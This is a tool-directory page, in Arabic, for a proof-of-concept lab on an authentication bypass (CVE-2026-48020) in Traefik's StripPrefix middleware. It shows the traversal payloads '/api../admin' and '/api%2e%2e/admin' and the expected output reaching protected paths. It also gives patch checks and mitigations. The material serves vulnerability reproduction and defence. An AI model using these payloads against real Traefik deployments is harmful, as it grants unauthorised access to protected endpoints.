Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization — مختبر إثبات المفهوم لـ CVE-2026-48020، يُظهر تجاوز مصادقة حرج في وسيط StripPrefix الخاص بـ Traefik عبر تطبيع المسار. يتضمن بيئة إعادة إنتاج تعتمد على Docker ونصوص تحقق. | Kitploit
أدوات/GitHubGitHub/hunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubhunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

مختبر إثبات المفهوم لـ CVE-2026-48020، يُظهر تجاوز مصادقة حرج في وسيط StripPrefix الخاص بـ Traefik عبر تطبيع المسار. يتضمن بيئة إعادة إنتاج تعتمد على Docker ونصوص تحقق.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-48020 — تجاوز المصادقة على مستوى المسار في Traefik StripPrefix (PoC)

إثبات مفهوم مستقل لـ CVE-2026-48020، وهو تجاوز للمصادقة/التفويض على مستوى المسار في وسيط StripPrefix في Traefik ناتج عن تسوية المسار التي تحدث بعد اتخاذ قرارات التوجيه.

يتم توجيه طلب مثل GET /api../admin عبر موجه عام PathPrefix(\/api`)في وقت التوجيه (لذا لا يتم إرفاق وسيطbasicAuthالخاص بالموجه المحمي مطلقًا)، ولكن بعد أن يزيلStripPrefix /apiويقومreq.URL.JoinPath()في Go بتسوية المتبقي/../admin، يتلقى الخادم الخلفي /admin` — وهو مسار كان من المفترض أن يكون محميًا.

تخطيط المختبر

root@kitploit:~
client (poc.py)
   │  GET /api../admin        ← no credentials
   ▼
Traefik :18080   ──routing──▶ public-api router (PathPrefix /api)  + StripPrefix
                   (skips)   protected router  (PathPrefix /admin) + basicAuth
   │  after StripPrefix("/api"):  /../admin  ──JoinPath()──▶  /admin
   ▼
backend :9000   ──▶  200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }

الملفات

إعادة الإنتاج

root@kitploit:~
docker compose up -d --wait          # start Traefik v3.7.1 + backend
python3 poc.py                        # run the bypass checks

الإخراج المتوقع على Traefik ضعيف

root@kitploit:~
[*] Target: http://127.0.0.1:18080

  [blocked] direct protected (auth enforced)      /admin
          -> status=401  body=...
  [blocked] direct protected (auth enforced)      /internal/config
          -> status=401  body=...
  [safe  ] public strip + exclusion (safe)        /api/admin
          -> status=404  body=...
  [safe  ] public strip + exclusion (safe)        /api/internal/config
          -> status=404  body=...
  [!] BYPASS  literal ..                          /api../admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  [!] BYPASS  encoded %2e%2e                      /api%2e%2e/admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  ...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.

على Traefik مصحح (v3.7.3)

ترجع حمولات التجاوز 404 بدلاً من 200. يرفض التصحيح (طلب السحب رقم #13215 في Traefik) أي طلب يختلف مساره بعد تسوية StripPrefix/StripPrefixRegex، لذا يتم اكتشاف إعادة كتابة /../admin ورفضها.

التحقق من الإصلاح

root@kitploit:~
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py        # bypass payloads now return 404 -> "No bypass observed"

التخفيفات (بدون ترقية)

منع المسار العام من مطابقة نموذج الاجتياز تمامًا:

root@kitploit:~
# إما تثبيت البادئة بحيث لا يمكن أن يتبعها '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# أو استخدام بادئة بشرطة مائلة لاحقة + إزالة بادئة بشرطة مائلة لاحقة
PathPrefix(`/api/`)  +  StripPrefix(`/api/`)

الإفصاح

تم الإبلاغ إلى مسؤولي Traefik من قبل WonYun / kyun0 (GitHub: H4ck2); تم إصلاحه في GHSA-xf64-8mw2-4gr2. هذا المختبر (PoC) هو إعادة إنتاج مستقلة تم بناؤها للمقالة المصاحبة: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.

تنزيل الأداة
CVECVE-2026-48020
GHSAGHSA-xf64-8mw2-4gr2
CVSS 3.1 (NVD)10.0 حرجة (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
المتأثرTraefik <= v2.11.46، <= v3.6.17، <= v3.7.1
تم إصلاحه فيv2.11.48، v3.6.19، v3.7.3
الملفالغرض
docker-compose.ymlيقوم بتشغيل Traefik ضعيف (v3.7.1) وخادم خلفي بلغة Python
dynamic.ymlإعدادات Traefik الديناميكية: مسار عام /api مع إزالة البادئة ومسار محمي /admin، /internal خلف basicAuth
backend.pyخادم خلفي صغير يعيد سرًا للمسارات المحمية
poc.pyيرسل حمولات التجاوز ويبلغ عن المسارات التي تم الوصول إليها